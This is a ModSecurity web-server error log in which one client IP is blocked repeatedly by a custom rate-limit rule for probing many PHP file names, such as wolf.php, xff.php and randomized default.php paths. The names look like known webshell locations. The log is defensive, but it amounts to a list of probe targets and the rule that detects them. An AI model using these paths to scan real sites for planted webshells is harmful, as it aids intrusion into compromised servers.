[Fri Apr 10 22:20:14.433489 2026] [:error] [pid 62710:tid 62719] [client 158.158.45.58:43566] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adkHHuME7qrf5xEWWJsoVgAAAgY"]
[Fri Apr 10 22:20:14.994901 2026] [:error] [pid 13100:tid 13110] [client 158.158.45.58:41936] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adkHHlzg-ZkZ0InWIP3FuAAAAQU"]
[Fri Apr 10 22:20:15.482678 2026] [:error] [pid 63062:tid 63064] [client 158.158.45.58:33200] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adkHH52HtsmV85NqkMf7WwAAA4A"]
[Fri Apr 10 22:20:15.957310 2026] [:error] [pid 63134:tid 63150] [client 158.158.45.58:30161] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adkHH9FALqPDwWi6eJKxUgAAA80"]
[Fri Apr 10 22:20:16.429839 2026] [:error] [pid 13101:tid 13146] [client 158.158.45.58:3942] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "adkHIN8Ldw85818pj2rzsgAAAI0"]
[Fri Apr 10 22:20:16.906565 2026] [:error] [pid 13100:tid 13114] [client 158.158.45.58:46328] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "adkHIFzg-ZkZ0InWIP3FvQAAAQk"]
[Fri Apr 10 22:20:17.423337 2026] [:error] [pid 63062:tid 63077] [client 158.158.45.58:43546] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "adkHIZ2HtsmV85NqkMf7YAAAA40"]
[Fri Apr 10 22:20:17.899687 2026] [:error] [pid 62819:tid 62830] [client 158.158.45.58:25315] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "adkHIfU20EyPf7NlsldzLgAAAog"]
[Fri Apr 10 22:20:18.374763 2026] [:error] [pid 62769:tid 62781] [client 158.158.45.58:49454] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adkHIsWsSnfLoB8ifjB7DgAAAko"]
[Fri Apr 10 22:20:18.865950 2026] [:error] [pid 62769:tid 62788] [client 158.158.45.58:3919] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adkHIsWsSnfLoB8ifjB7EwAAAlE"]
[Fri Apr 10 22:20:19.358999 2026] [:error] [pid 62769:tid 62778] [client 158.158.45.58:40030] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adkHI8WsSnfLoB8ifjB7FgAAAkc"]
[Fri Apr 10 22:20:19.856219 2026] [:error] [pid 62769:tid 62784] [client 158.158.45.58:49716] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adkHI8WsSnfLoB8ifjB7HwAAAk0"]
[Fri Apr 10 22:20:20.451227 2026] [:error] [pid 62769:tid 62794] [client 158.158.45.58:46314] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "adkHJMWsSnfLoB8ifjB7JAAAAlc"]
[Fri Apr 10 22:20:20.943973 2026] [:error] [pid 63062:tid 63081] [client 158.158.45.58:3944] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "adkHJJ2HtsmV85NqkMf7YQAAA5E"]
[Fri Apr 10 22:20:21.464298 2026] [:error] [pid 62769:tid 62785] [client 158.158.45.58:30670] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "adkHJcWsSnfLoB8ifjB7LAAAAk4"]
[Fri Apr 10 22:20:21.987135 2026] [:error] [pid 62769:tid 62776] [client 158.158.45.58:3944] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "adkHJcWsSnfLoB8ifjB7NAAAAkU"]
[Fri Apr 10 22:20:22.552575 2026] [:error] [pid 62769:tid 62777] [client 158.158.45.58:31720] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "adkHJsWsSnfLoB8ifjB7PgAAAkY"]
[Fri Apr 10 22:20:23.061282 2026] [:error] [pid 62769:tid 62778] [client 158.158.45.58:40047] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "adkHJ8WsSnfLoB8ifjB7RgAAAkc"]
[Fri Apr 10 22:20:23.582100 2026] [:error] [pid 63062:tid 63079] [client 158.158.45.58:52198] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "adkHJ52HtsmV85NqkMf7YgAAA48"]
[Fri Apr 10 22:20:41.975470 2026] [:error] [pid 62819:tid 62836] [client 158.158.45.58:33186] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adkHOfU20EyPf7NlsldzTwAAAo4"]
[Fri Apr 10 22:20:42.446774 2026] [:error] [pid 62769:tid 62790] [client 158.158.45.58:51748] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adkHOsWsSnfLoB8ifjB7cgAAAlM"]
[Fri Apr 10 22:20:42.917863 2026] [:error] [pid 62769:tid 62783] [client 158.158.45.58:45408] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adkHOsWsSnfLoB8ifjB7dQAAAkw"]
[Fri Apr 10 22:20:43.430049 2026] [:error] [pid 62884:tid 62906] [client 158.158.45.58:41968] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adkHO-UCK1xrhnnmpo2MOwAAAs8"]
[Fri Apr 10 22:20:43.951966 2026] [:error] [pid 62884:tid 62901] [client 158.158.45.58:49691] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "adkHO-UCK1xrhnnmpo2MPAAAAso"]
[Fri Apr 10 22:20:44.542055 2026] [:error] [pid 62769:tid 62779] [client 158.158.45.58:44778] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "adkHPMWsSnfLoB8ifjB7fgAAAkg"]
[Fri Apr 10 22:20:45.031830 2026] [:error] [pid 62884:tid 62912] [client 158.158.45.58:65141] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "adkHPeUCK1xrhnnmpo2MQQAAAtU"]
[Fri Apr 10 22:20:45.635193 2026] [:error] [pid 13101:tid 13135] [client 158.158.45.58:44742] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "adkHPd8Ldw85818pj2r0AwAAAII"]
[Fri Apr 10 22:20:46.146053 2026] [:error] [pid 62710:tid 62718] [client 158.158.45.58:44799] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/006.php"] [unique_id "adkHPuME7qrf5xEWWJsoiQAAAgU"]
[Fri Apr 10 22:20:46.670209 2026] [:error] [pid 63062:tid 63079] [client 158.158.45.58:49459] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/006.php"] [unique_id "adkHPp2HtsmV85NqkMf7fQAAA48"]
[Fri Apr 10 22:20:47.167116 2026] [:error] [pid 62769:tid 62794] [client 158.158.45.58:44738] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/006.php"] [unique_id "adkHP8WsSnfLoB8ifjB7hQAAAlc"]
[Fri Apr 10 22:20:47.645483 2026] [:error] [pid 62769:tid 62773] [client 158.158.45.58:46280] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/006.php"] [unique_id "adkHP8WsSnfLoB8ifjB7hwAAAkI"]
[Fri Apr 10 22:20:48.125916 2026] [:error] [pid 62819:tid 62844] [client 158.158.45.58:39050] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adkHQPU20EyPf7NlsldzUwAAApY"]
[Fri Apr 10 22:20:48.606888 2026] [:error] [pid 62769:tid 62781] [client 158.158.45.58:3831] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adkHQMWsSnfLoB8ifjB7jgAAAko"]
[Fri Apr 10 22:20:49.082579 2026] [:error] [pid 62769:tid 62788] [client 158.158.45.58:29030] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adkHQcWsSnfLoB8ifjB7kwAAAlE"]
[Fri Apr 10 22:20:49.584640 2026] [:error] [pid 62769:tid 62777] [client 158.158.45.58:4077] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adkHQcWsSnfLoB8ifjB7lwAAAkY"]
[Fri Apr 10 22:20:50.080512 2026] [:error] [pid 62769:tid 62776] [client 158.158.45.58:65101] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adkHQsWsSnfLoB8ifjB7nwAAAkU"]
[Fri Apr 10 22:20:50.555669 2026] [:error] [pid 13189:tid 13213] [client 158.158.45.58:25722] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adkHQpAxiJKPums3eBDX9wAAAFU"]
[Fri Apr 10 22:20:51.085298 2026] [:error] [pid 63134:tid 63147] [client 158.158.45.58:49725] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adkHQ9FALqPDwWi6eJKxdQAAA8o"]
[Fri Apr 10 22:20:51.573138 2026] [:error] [pid 62769:tid 62774] [client 158.158.45.58:4091] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adkHQ8WsSnfLoB8ifjB7owAAAkM"]
[Fri Apr 10 22:20:52.070023 2026] [:error] [pid 62769:tid 62775] [client 158.158.45.58:44786] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf.php"] [unique_id "adkHRMWsSnfLoB8ifjB7pQAAAkQ"]
[Fri Apr 10 22:20:52.566937 2026] [:error] [pid 62769:tid 62771] [client 158.158.45.58:65127] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf.php"] [unique_id "adkHRMWsSnfLoB8ifjB7qQAAAkA"]
[Fri Apr 10 22:20:53.047430 2026] [:error] [pid 13189:tid 13195] [client 158.158.45.58:49416] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf.php"] [unique_id "adkHRZAxiJKPums3eBDYAgAAAEM"]
[Fri Apr 10 22:20:53.549980 2026] [:error] [pid 13189:tid 13208] [client 158.158.45.58:41925] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf.php"] [unique_id "adkHRZAxiJKPums3eBDYCQAAAFA"]
[Fri Apr 10 22:20:54.048129 2026] [:error] [pid 62769:tid 62791] [client 158.158.45.58:65112] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adkHRsWsSnfLoB8ifjB7sQAAAlQ"]
[Fri Apr 10 22:20:54.526205 2026] [:error] [pid 62769:tid 62779] [client 158.158.45.58:49410] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adkHRsWsSnfLoB8ifjB7twAAAkg"]
[Fri Apr 10 22:20:55.009040 2026] [:error] [pid 62819:tid 62824] [client 158.158.45.58:39721] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adkHR_U20EyPf7NlsldzVQAAAoI"]
[Fri Apr 10 22:20:55.501721 2026] [:error] [pid 13189:tid 13204] [client 158.158.45.58:44757] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adkHR5AxiJKPums3eBDYEwAAAEw"]
[Fri Apr 10 22:20:56.129193 2026] [:error] [pid 62651:tid 62660] [client 158.158.45.58:44743] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "adkHSDbAH0le57SIaqwsKgAAAcc"]
[Fri Apr 10 22:20:56.685187 2026] [:error] [pid 62819:tid 62841] [client 158.158.45.58:39080] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "adkHSPU20EyPf7NlsldzVgAAApM"]
[Fri Apr 10 22:20:57.164379 2026] [:error] [pid 62710:tid 62730] [client 158.158.45.58:3675] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "adkHSeME7qrf5xEWWJsonwAAAhE"]
[Fri Apr 10 22:20:57.650916 2026] [:error] [pid 63134:tid 63143] [client 158.158.45.58:40273] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "adkHSdFALqPDwWi6eJKxeAAAA8Y"]
[Fri Apr 10 22:20:58.133116 2026] [:error] [pid 63134:tid 63152] [client 158.158.45.58:25675] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkHStFALqPDwWi6eJKxfAAAA88"]
[Fri Apr 10 22:20:58.609624 2026] [:error] [pid 63062:tid 63088] [client 158.158.45.58:49721] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkHSp2HtsmV85NqkMf7gwAAA5g"]
[Fri Apr 10 22:20:59.134608 2026] [:error] [pid 62769:tid 62787] [client 158.158.45.58:65145] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkHS8WsSnfLoB8ifjB70QAAAlA"]
[Fri Apr 10 22:20:59.632175 2026] [:error] [pid 63062:tid 63064] [client 158.158.45.58:39040] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkHS52HtsmV85NqkMf7hAAAA4A"]
[Fri Apr 10 22:21:00.134139 2026] [:error] [pid 63062:tid 63082] [client 158.158.45.58:28553] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkHTJ2HtsmV85NqkMf7hwAAA5I"]
